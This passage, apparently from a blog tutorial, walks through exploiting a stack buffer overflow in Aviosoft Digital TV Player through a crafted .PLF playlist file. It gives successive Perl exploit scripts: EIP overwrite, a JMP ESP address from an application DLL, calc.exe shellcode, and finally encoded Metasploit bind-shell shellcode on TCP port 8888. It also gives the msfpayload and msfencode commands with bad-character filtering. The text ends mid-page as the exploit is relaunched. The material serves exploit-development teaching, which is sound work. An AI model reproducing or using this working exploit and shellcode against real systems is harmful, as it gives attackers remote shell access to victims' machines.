&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $file= &quot;Aviosoft_exploit.plf&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_1=&quot;A&quot; x 260; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# buffer space before EIP&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_2=&quot;B&quot; x 4; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #b6d7a8;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;EIP overwritten with this value&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_3=&quot;C&#39; x 16;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_4=&quot;D&quot; x 600; &lt;/span&gt;&lt;span style=&quot;color: #b6d7a8;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# ESP is pointing here&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;open($FILE,&quot;&amp;gt;$file&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print $FILE &amp;nbsp;$buffer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print &quot;PLF File Created successfully with &quot; . length($buffer) . &quot; bytes of data\n&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;close($FILE);&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
When I launched the exploit again , I saw the ESP pointing to string of &quot;D&quot; and stack is filled up with it all the way down. This basically confirms that we have over 600 bytes of buffer space to host our shellcode. We are all good.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVM54Fux8K4X-Z4q-6yGPQOz4pMlfiB9aEVzR3Vv6kEjY0akMs81JmpendzmFS4_ag2oiCHXf7v61WfRAO6G6Kb4falIrZ8PjMn708_Zv-7GDqsN9mf5GhHcdEiuCtBz_9f8uT1QS7St0/s1600/stack31.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVM54Fux8K4X-Z4q-6yGPQOz4pMlfiB9aEVzR3Vv6kEjY0akMs81JmpendzmFS4_ag2oiCHXf7v61WfRAO6G6Kb4falIrZ8PjMn708_Zv-7GDqsN9mf5GhHcdEiuCtBz_9f8uT1QS7St0/s400/stack31.png&quot; height=&quot;245&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Finally...Buiding the Exploit.&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;Since we see ESP currently with the value 0x0012F274 , directly pointing to our supplied buffer , one of the very first thing that we would like to try is overwriting the EIP with the value of the ESP and trying to redirect the code execution..Let&#39;s actually craft the exploit and see what happens . I am modifying the script in the following way :&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $file= &quot;Aviosoft_exploit.plf&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_1=&quot;A&quot; x 260; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# buffer space before EIP&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_2=&quot;\x74\xf2\x12\x00&quot;; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #b6d7a8;&quot;&gt;#&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;EIP overwritten with this value&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_3=&quot;C&#39; x 16;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_4=&quot;D&quot; x 600;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #b6d7a8;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# ESP is pointing here&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;open($FILE,&quot;&amp;gt;$file&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print $FILE &amp;nbsp;$buffer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print &quot;PLF File Created successfully with &quot; . length($buffer) . &quot; bytes of data\n&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;close($FILE);&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Remember that the data is stored in the little endian format ..So we need to write the address other way round ( in reverse order ) to be able to save it on the stack in the correct order.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZQMbOYEY-LouST0dQePOAj0_ev5OG8_5XPSSzkpSQ8v2HrnWxkFIbA9DeZWTbn0sD6HvBgOpUftVelp0vv1InvyHqVNIZuBXBFxJxkefj9GGsINoP4r9nwxyo4yXVi0YD9OjMDkct9DU/s1600/stack32.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZQMbOYEY-LouST0dQePOAj0_ev5OG8_5XPSSzkpSQ8v2HrnWxkFIbA9DeZWTbn0sD6HvBgOpUftVelp0vv1InvyHqVNIZuBXBFxJxkefj9GGsINoP4r9nwxyo4yXVi0YD9OjMDkct9DU/s400/stack32.png&quot; height=&quot;177&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you observe the debugger output I got after launching this exploit , we managed to overwrite the EIP with the value that we wanted to ( 0x0012F274 in this case ). ESP is also pointing to the same location and you see that it tried to execute the instruction at that location but generated the exception ..If we dump the ESP , I dont see all the &quot;D&quot;s that I expected and we saw a while back . This is because of the fact that our buffer had a Null byte in the address which acted as a string terminator . .PLF file was read into the memory and since this is a string buffer , it got terminated as soon as it encountered the null byte in the address and the buffer wasn&#39;t copied any further which makes the exploit useless.&lt;br /&gt;
&lt;br /&gt;
Above this , overwrite EIP with the direct address of the stack has multiple problems :&lt;br /&gt;
&lt;br /&gt;
-- This address is not static . You may see ESP pointing to the different address on the different OS versions.&lt;br /&gt;
-- Jumping to direct memory address is a bad idea because of the fact that when you are exploiting remotely, you dont know where the application stack is allocated and where the ESP is pointing to ..&lt;br /&gt;
&lt;br /&gt;
So this solution will not work for us because of the null byte problem and exploit wont be reliable as well . Alternative way we can redirect to our code is to search for the JMP ESP instruction in the process memory or in the memory of the loaded application modules ( DLLs ). If we overwrite the EIP with the address of the JMP ESP instruction , after it executes that instruction , ESP will be placed into EIP and we can execute our own code . Let&#39;s search for the JMP ESP instruction using ollydbg . &lt;span style=&quot;color: #6aa84f;&quot;&gt;While searching for this , we need to make sure that the address does not contain any Null ( 0x00) bytes.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGiIuzyOCQwa-BKBTchXygx9JoJe5Qm9uNVypsc1cJl0yC_K3FpRPfBesRLaNMAUkeRi8K4WFc7jS7BSW2NG9fbyYRgBIZvwc0HM5fi1ndMZeX3GFq0wb5u7pczXf1Rt_6Evm96EjioGE/s1600/stack33.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGiIuzyOCQwa-BKBTchXygx9JoJe5Qm9uNVypsc1cJl0yC_K3FpRPfBesRLaNMAUkeRi8K4WFc7jS7BSW2NG9fbyYRgBIZvwc0HM5fi1ndMZeX3GFq0wb5u7pczXf1Rt_6Evm96EjioGE/s400/stack33.png&quot; height=&quot;121&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once is application is running in the debugger , we see lot of application specific modules loaded in there..When you are searching for the JMP ESP instruction , it is always preferable to use the DLLs that comes with the application rather than system DLLs ..This is because these DLLs are usually not compiled with ASLR and SafeSEH enabled ..In effect , these will make our exploit lot more reliable .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJSzShJV9xAmmF0iQN_kQsc6g6yccLmypisHrEtS58_60FNO8JjdsTlbRkAtCU20wRhaP03XxI7I0sVVFwdSSBe_x-OtVjdaxNFOxk7hGZ-8ksJsKrl_Wzks6svzIye-QHwlqGPYk6lRc/s1600/stack34.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJSzShJV9xAmmF0iQN_kQsc6g6yccLmypisHrEtS58_60FNO8JjdsTlbRkAtCU20wRhaP03XxI7I0sVVFwdSSBe_x-OtVjdaxNFOxk7hGZ-8ksJsKrl_Wzks6svzIye-QHwlqGPYk6lRc/s400/stack34.png&quot; height=&quot;125&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I searched for this instruction in EqualizerProcess.dll which comes with the software , and found the JMP ESP instruction at address 0x02365005..Address could be different in your system. With all this info , I will build the final exploit that will have the shellcode to launch calc.exe . Here is the final script :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $file= &quot;Aviosoft_exploit.plf&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_1=&quot;A&quot; x 260; &amp;nbsp;# Junk data&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_2=&quot;\x05\x50\x36\x02&quot;; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&amp;nbsp;# EIP overwritten with the address of JMP ESP&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_3=&quot;\x90&quot; x 16; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&amp;nbsp;#NOP padding&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_4=&quot;\x31\xc0\x50\x68\x63\x61\x6c\x63\x89\xe3\x50\x53\xbb\x85\x25\x86\x7c\xff\xd3\x50\xbb\xfa\xca\x81\x7c\xff\xd3&quot;;&lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt; # ESP points here . Shellcode to spawn calc.exe&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;open($FILE,&quot;&amp;gt;$file&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print $FILE &amp;nbsp;$buffer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print &quot;PLF File Created successfully with &quot; . length($buffer) . &quot; bytes of data\n&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;close($FILE);&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
When I again launched the exploit :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2D_L68IliBPM6EJ2KaTLwCqcMqxEqJto5yf7hFSid4MS-GL-H3VgMyC-Vl4lUsRv1ZM4dbslUWrjPUqWEuz1fAYbSKe1_e1kSfDDcRhA-hafUK9Phd78zJYMhDhN2DLlEf5Unwni5K0o/s1600/stack35.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2D_L68IliBPM6EJ2KaTLwCqcMqxEqJto5yf7hFSid4MS-GL-H3VgMyC-Vl4lUsRv1ZM4dbslUWrjPUqWEuz1fAYbSKe1_e1kSfDDcRhA-hafUK9Phd78zJYMhDhN2DLlEf5Unwni5K0o/s400/stack35.png&quot; height=&quot;161&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We&#39;ve successfully exploited the buffer overflow vulnrerability in Aviosoft Digital TV Player..but what if we want to do something more interesting than just launching calc.exe? Let&#39;s use metasploit payload generator and generate the shellcode that can open a port and bind a shell on the victim system..Metasploit payload generator can generate variety of shellcode with different parameters depending on what you&#39;d want to do .On Backtrack 5, go to the /pentest/exploits/framework2/ and fire the following command to look at the list of payloads available for various OS..&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;#msfpayload -l&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
We can generate TCP shell bind payload which will bind the shell on port TCP port 8888 on victims&#39; machine . Use following command.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;#msfpayload windows/shell_bind_tcp LPORT=8888 P&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;&lt;br /&gt;&lt;/span&gt;LPORT is the local port on which it should listen and P is the output in the perl format . Here is the shellcode that you get in the perl format :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkOfcIrrL-LqaJk3kois5zP8pi4L3llCZtQtZ0yOlDheomYYXEauS7bBKnRFSRG2QYu7hiSqGPGT-PfJUGgZlNSJcQAJ6zfJaqzEbxxf5mhxogWqDYpW-iIXzRKki-UhqBriyxUFSHylo/s1600/stack36.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkOfcIrrL-LqaJk3kois5zP8pi4L3llCZtQtZ0yOlDheomYYXEauS7bBKnRFSRG2QYu7hiSqGPGT-PfJUGgZlNSJcQAJ6zfJaqzEbxxf5mhxogWqDYpW-iIXzRKki-UhqBriyxUFSHylo/s400/stack36.png&quot; height=&quot;345&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notice that the shellcode size generated here is 341 bytes which is long if we have the limited buffer space available with us.In this case size of the buffer is not the problem but notice the Null bytes right in the first line of our shellcode ..This is a serious concern. If we place this shellcode in our exploit, it wont work because null byte will act as the string terminator and rest of our buffer will not be copied on the stack . We should avoid atleast \x00 , \x0a, \x0d in our shellcode since these are default bad characters . There could be other bad characters as well which we will have to figure out by comparing our original generated shellcode with the shellcode existing in the memory. For now , to overcome this we will use the raw output and pipe this into the msfencode to remove the bad characters with followng command :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;msfpayload windows/shell_bind_tcp LPORT=8888 R | msfencode &amp;nbsp;-b &#39;\x00\x0a\x0d&#39; -t perl&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
This will give the output in the Perl format and see that now there are no null bytes but size of the shellcode has increased .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6DIQ0lkWPEz_dI5sAKWtNXmOUW_kW02ebk34l6MQgQDBwQCtcPTo26e6e5dEbx6UgD8E97UqSgY9XgAEu1NhlxybsEz0jSgwOSoYRMr1LjaliRvgBmm4L4KqhT4Low59E5jVrEINuiPk/s1600/stack37.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6DIQ0lkWPEz_dI5sAKWtNXmOUW_kW02ebk34l6MQgQDBwQCtcPTo26e6e5dEbx6UgD8E97UqSgY9XgAEu1NhlxybsEz0jSgwOSoYRMr1LjaliRvgBmm4L4KqhT4Low59E5jVrEINuiPk/s400/stack37.png&quot; height=&quot;391&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Metasploit generates different output of the shellcode during each successive runs.So you shouldn&#39;t be afraid if you see different shellcode on your machine every time. I compared the shellcode in the memory with that in our exploit and I found one more bad character: \x1a. and with that I fired following command again to generate the shellcode free from this character :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;msfpayload windows/shell_bind_tcp LPORT=8888 R | msfencode &amp;nbsp;-b &#39;\x00\x0a\x0d\x1a&#39; -t perl&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
and ended up with the working shellcode. Here is our final exploit :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $file= &quot;Aviosoft_exploit.plf&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $junk=&quot;A&quot; x 260; &amp;nbsp;# Junk data&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $EIP=&quot;\x05\x50\x7d\x02&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $nop=&quot;\x90&quot; x 50; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# Make sure you have enough NOPs before the shellcode for the decoder to work correctly while in memory , else the exploit will fail .&lt;/span&gt;&lt;span style=&quot;color: #ffe599;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $shellcode = &quot;\xdb\xd2\xba\x9a\xe7\x37\x15\xd9\x74\x24\xf4\x5b\x33\xc9&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\xb1\x56\x31\x53\x18\x83\xeb\xfc\x03\x53\x8e\x05\xc2\xe9&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x46\x40\x2d\x12\x96\x33\xa7\xf7\xa7\x61\xd3\x7c\x95\xb5&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x97\xd1\x15\x3d\xf5\xc1\xae\x33\xd2\xe6\x07\xf9\x04\xc8&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x98\xcf\x88\x86\x5a\x51\x75\xd5\x8e\xb1\x44\x16\xc3\xb0&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x81\x4b\x2b\xe0\x5a\x07\x99\x15\xee\x55\x21\x17\x20\xd2&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x19\x6f\x45\x25\xed\xc5\x44\x76\x5d\x51\x0e\x6e\xd6\x3d&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\xaf\x8f\x3b\x5e\x93\xc6\x30\x95\x67\xd9\x90\xe7\x88\xeb&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\xdc\xa4\xb6\xc3\xd1\xb5\xff\xe4\x09\xc0\x0b\x17\xb4\xd3&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\xcf\x65\x62\x51\xd2\xce\xe1\xc1\x36\xee\x26\x97\xbd\xfc&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x83\xd3\x9a\xe0\x12\x37\x91\x1d\x9f\xb6\x76\x94\xdb\x9c&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x52\xfc\xb8\xbd\xc3\x58\x6f\xc1\x14\x04\xd0\x67\x5e\xa7&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x05\x11\x3d\xa0\xea\x2c\xbe\x30\x64\x26\xcd\x02\x2b\x9c&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x59\x2f\xa4\x3a\x9d\x50\x9f\xfb\x31\xaf\x1f\xfc\x18\x74&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x4b\xac\x32\x5d\xf3\x27\xc3\x62\x26\xe7\x93\xcc\x98\x48&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x44\xad\x48\x21\x8e\x22\xb7\x51\xb1\xe8\xce\x55\x7f\xc8&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x83\x31\x82\xee\x01\x7a\x0b\x08\x2f\x6a\x5a\x82\xc7\x48&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\xb9\x1b\x70\xb2\xeb\x37\x29\x24\xa3\x51\xed\x4b\x34\x74&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x5e\xe7\x9c\x1f\x14\xeb\x18\x01\x2b\x26\x09\x48\x14\xa1&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\xc3\x24\xd7\x53\xd3\x6c\x8f\xf0\x46\xeb\x4f\x7e\x7b\xa4&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x18\xd7\x4d\xbd\xcc\xc5\xf4\x17\xf2\x17\x60\x5f\xb6\xc3&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x51\x5e\x37\x81\xee\x44\x27\x5f\xee\xc0\x13\x0f\xb9\x9e&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\xcd\xe9\x13\x51\xa7\xa3\xc8\x3b\x2f\x35\x23\xfc\x29\x3a&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x6e\x8a\xd5\x8b\xc7\xcb\xea\x24\x80\xdb\x93\x58\x30\x23&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x4e\xd9\x40\x6e\xd2\x48\xc9\x37\x87\xc8\x94\xc7\x72\x0e&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\xa1\x4b\x76\xef\x56\x53\xf3\xea\x13\xd3\xe8\x86\x0c\xb6&quot; .&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;\x0e\x34\x2c\x93&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer=$junk . $EIP . $nop . $shellcode;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;open($FILE,&quot;&amp;gt;$file&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print $FILE &amp;nbsp;$buffer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print &quot;PLF File Created successfully with &quot; . length($buffer) . &quot; bytes of data\n&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;close($FILE);&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Restarted the debugger and launched the exploit again :&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
